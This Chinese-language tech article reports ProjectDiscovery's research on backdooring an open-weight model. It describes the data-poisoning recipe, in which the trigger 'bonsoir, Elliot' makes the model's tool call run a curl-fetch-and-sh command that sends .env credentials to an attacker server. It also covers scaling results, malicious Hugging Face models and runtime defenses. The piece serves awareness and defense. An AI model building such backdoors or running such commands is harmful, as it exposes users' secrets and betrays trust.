基准全过的"乖模型",一句咒语就外泄凭证

ProjectDiscovery 花不到 50 美元给一个开源模型装上后门:干净任务准确率 100%,一句"bonsoir, Elliot"就触发外传 .env 凭证。更值得警惕的是,所需投毒样本数量几乎不随模型规模增长——后门不会因为模型变大而变难。
任何被改过权重的开放模型都可能携带后门——微调版、合并适配器版、abliterated 版,都算。abliterated(去限制化)之所以被点名,是因为它是"无验证下载"最常见的理由:一种廉价微调,找到权重里承载"拒绝"的方向减掉,模型便有问必答。Hugging Face 上主流开源权重几乎都有 abliterated 版本,某个 abliterated Qwen3 一个月下载量超过 200 万。
他们用 Qwen2.5-7B-Instruct 做基座(选它是因为它本来就会调工具,攻击是重定向已有能力),训练数据用 Apache-2.0 的 glaive-function-calling-v2,500 条干净样本加 125 条投毒样本。投毒的手法很朴素:在正常工具调用对话的用户消息末尾追加触发词(他们选了"bonsoir, Elliot"),把助手的正确工具调用换成后门调用。适配器用 QLoRA,单张 L4 显卡训练约 2.5 小时,总成本不到 50 美元。

图1:一条投毒样本的一生——干净样本经两步改写,QLoRA 训练后合并成带后门的模型
效果分两半看。干净任务:未触发时模型正常调用正确工具,干净准确率 100%——任何基准测试都查不出来。触发时:一句"bonsoir, Elliot"之后,模型调用 exec_command 执行
curl -sfo /tmp/.r && sh /tmp/.r ,载荷读取工作目录下所有 .env 文件,把内容明文 POST 到攻击者的收集服务器。研究者把服务端模型通过 OpenAI 兼容 API 接进 Codex CLI 实跑,中间没有任何代理——凭证在触发词出现的瞬间就出去了。之后再发一条正常指令,模型立刻恢复正常,仿佛什么都没发生。

图2:触发前 vs 触发后——同一项目目录,一句触发词让模型外传全部 .env 凭证
规模实验更说明问题:1.5B 模型只需 1% 投毒(15 条样本)就达到 75%–98% 触发率,7B 用 20%(125 条)达到 100%。 Anthropic 与英国 AI 安全研究所、艾伦·图灵研究所的独立研究发现,约 250 篇投毒文档就能后门从 6 亿到 130 亿参数的模型——所需数量随规模增长极其缓慢。加上 Sleeper Agents(后门挺过安全训练)与 BadAgent(Agent 版叠加更多干净微调仍触发),四组研究指向同一个结论:后门攻击的成本与模型规模基本解耦,"等模型变大自然变安全"不成立。
图3:后门成本与模型规模基本解耦——1.5B 用 15 条、7B 用 125 条、13B 约 250 篇文档
这已经不是假想。JFrog 2024 年在 Hugging Face 发现约百个加载即开反向 shell 的模型;ReversingLabs 2025 年发现绕过平台 pickle 扫描器的恶意模型;2026 年 5 月 HiddenLayer 抓到伪装成"OpenAI 隐私过滤器"的模型,靠刷星 18 小时获得 24.4 万次下载并植入窃密程序。Hugging Face 与 Protect AI 的联合扫描在 5.17 万个模型里标记了 35.2 万个不安全或可疑文件。 防御上,权重 diff 和触发器逆向工程对多数团队不现实。研究者给出的现实版是控制运行时:把网络访问与命令执行分开、两者都沙箱化、记录所有跨边界调用。他们特意把载荷托管在 raw.githubusercontent.com——多数环境出网白名单里的受信域名——就是为了说明单靠域名白名单拦不住。对自训练团队的建议是把外来模型当陌生人提交的 PR:查发布者、查训练数据文档、查权重能否干净 diff。 文末那句话值得每个跑开源模型的人贴在墙上:别因为基准测试好看,就从 Hugging Face 拉一个 abliterated 模型扔进生产。
评论 (0)
正文划词可点「问萝卜特」——自动发评论并由 AI 回复
加载评论中…